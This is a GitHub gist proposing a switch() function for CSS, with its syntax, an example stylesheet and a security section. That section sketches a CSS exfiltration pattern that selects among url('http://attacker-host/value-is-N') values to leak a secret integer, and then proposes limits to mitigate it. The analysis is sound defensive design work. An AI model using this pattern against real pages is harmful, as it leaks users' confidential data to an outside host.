Skip to content

Instantly share code, notes, and snippets.

@carlosame
Last active March 20, 2021 15:32
Show Gist options
  • Save carlosame/dcadf67b33d8a8b25eece17668fa057f to your computer and use it in GitHub Desktop.
Save carlosame/dcadf67b33d8a8b25eece17668fa057f to your computer and use it in GitHub Desktop.
A switch-like function for CSS

A switch-like function for CSS

Rationale

In CSS, @media rules are useful but may lead to some unwanted verbosity and maintenance issues. Although var() values are of help, one often has to either duplicate some rule structure or proliferate custom properties that are intended to be used at specific places. That's what CSSWG's issue 5009 is about.

Due to that, sometimes authors would prefer to specify values at the place where they are going to be used in the most common case, and may want to have that choice. Additionally, there are also situations where an author may want to scale certain values in terms of a given calculation, or have a simple mechanism to conditionally activate values belonging to a specific 'skin' or profile.


A switch-like function

I proposed the following function as one possible solution to the above issue and use cases:

switch(<integer [1,∞]>, <toggle-value>#)

to evaluate in the following way:

  • If the first argument is not positive, the value becomes invalid (it could be defined to start from zero as well).
  • The other arguments (I chose the toggle-value from the toggle() function) are selected according to the first one: 1 means the first <toggle-value> is returned, 2 the second, etc.

If the first argument evaluates to N and there are M toggle-values, with M<N, then the last <toggle-value> is used.

The toggle-values could also contain var() functions, if the switch is resolved before the vars are substituted/evaluated (allowing the contained commas to pass through the switch).


Switching between values that contain commas

I assume that authors want values with commas to pass through the switch (as opposed to being part of it), and that is why the switch is specified above to resolve before the vars are substituted. Tab Atkins suggested a syntax with semicolon separators that could be clearer about the intent:

switch(<integer [1,∞]> [; <declaration-value>]{1,})

where the <declaration-value> would be the one defined by CSS Syntax Module Level 3.


Clamping considerations

When the first argument is negative (or zero), the whole function becomes invalid instead of just clamping to 1. The reason is that the first argument is intended to be a natural number, so negative values are unlikely to be what the author wants. And when authors want to clamp, they can do that explicitly with the clamp() function.

When the negative value comes from a calc() expression, triggering invalidation seems potentially useful but collides with the general principle that values coming from calc() are clamped to the expected range.


Example

The following example illustrates one possible (very basic and easy, not necessarily representative) usage of the function:

html {
  --width-level: 1;
  --color-level: 1;
}

@media (max-width: 700px) {
  --width-level: 2;
}

@media (max-width: 360px) {
  --width-level: 3;
}

@media (color-gamut: p3) {
  --color-level: 2;
}

@media (color-gamut: rec2020) {
  --color-level: 3;
}

.foo{
  margin: switch(var(--width-level); 50px 25px; 25px 12.5px; 12.5px);
  font-size: switch(var(--width-level); 24px; 20px);
  background-color: switch(var(--color-level); #35a8ff; lch(66% 65 259); lch(66% 70 259));
}

I expect authors to use lower index/level values for their baseline or "canonical" case, and higher numbers for the more "corner" cases. Otherwise, they could be repeating values unnecessarily at their switches.

In the above example, the "target" for the web site would be a normal desktop with sRGB color support, and then smaller screens (as well as wider-gamut displays) are progressive corner cases that the author may need to deal with at some places, but at many switch locations he/she may be fine with the latest specified value (hence one of the above switches has two declaration-value arguments while the others have three).

Comparison conditions

Once the sign() function is implemented by browsers, it could be used to enable value comparisons:

switch(2 + sign(var(--some-length) - 10vw); "Less than 10vw"; "Exactly 10vw"; "More than 10vw")

Even more comparisons could be taken into account, by using the proper combination of sums and multiplications.


Security considerations

Latest CSS specifications introduce powerful tools, but some may be used to exfiltrate confidential information. The proposed advanced attr() value may be used to access sensitive data (see CSSWG issue 5092), and other CSS facilities may be used to leak that information.

Attribute selectors could be used for the attack, but if the attribute value is an integer (like a PIN number) a similar scheme could be enabled with the function discussed here:

switch(var(--secret); url('http://attacker-host/value-is-1');
                      url('http://attacker-host/value-is-2');
                      url('http://attacker-host/value-is-3');
                      ...)

which would not be fundamentally different from the aforementioned attack based on selectors, although in this case it could be mitigated by setting a limit of url() arguments, for example:

  1. If the property accepts url() values and the switch resolves to a URL (or includes one), increase a (per-document) counter of url-in-a-switch values with the number of value arguments (assuming all are URLs).
  2. If a certain amount of url-in-a-switch values is reached in the document (like 512), the function becomes invalid.

When the property automatically converts a string to a url(), the same handling would be required for strings.

Note that this mitigation is likely to become insufficient, once the CSS stepped value functions (e.g. mod()) are implemented by browsers.

There are other attack variants that could be used for data exfiltration, but they do not require nor would obviously benefit from the function described here. If you are aware of any attack that could be enabled by the usage of this function, posting a comment would be appreciated.

As far as I know, this comment by Mike Bremford was the first one to relate switch-like functions with attribute value exfiltration.


Naming

The switch name is used in similar conditional statements implemented by several computer languages, being presumably a reference to the multi-position switches that used to be common in electronic equipment in the past (albeit much less common today). Other programming languages use different names for their switch-like statements: cond or select have been used as well.

The function described here could have a different name (and could be implemented by browsers with any other name), but I'm using switch as being somewhat descriptive of what it does.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment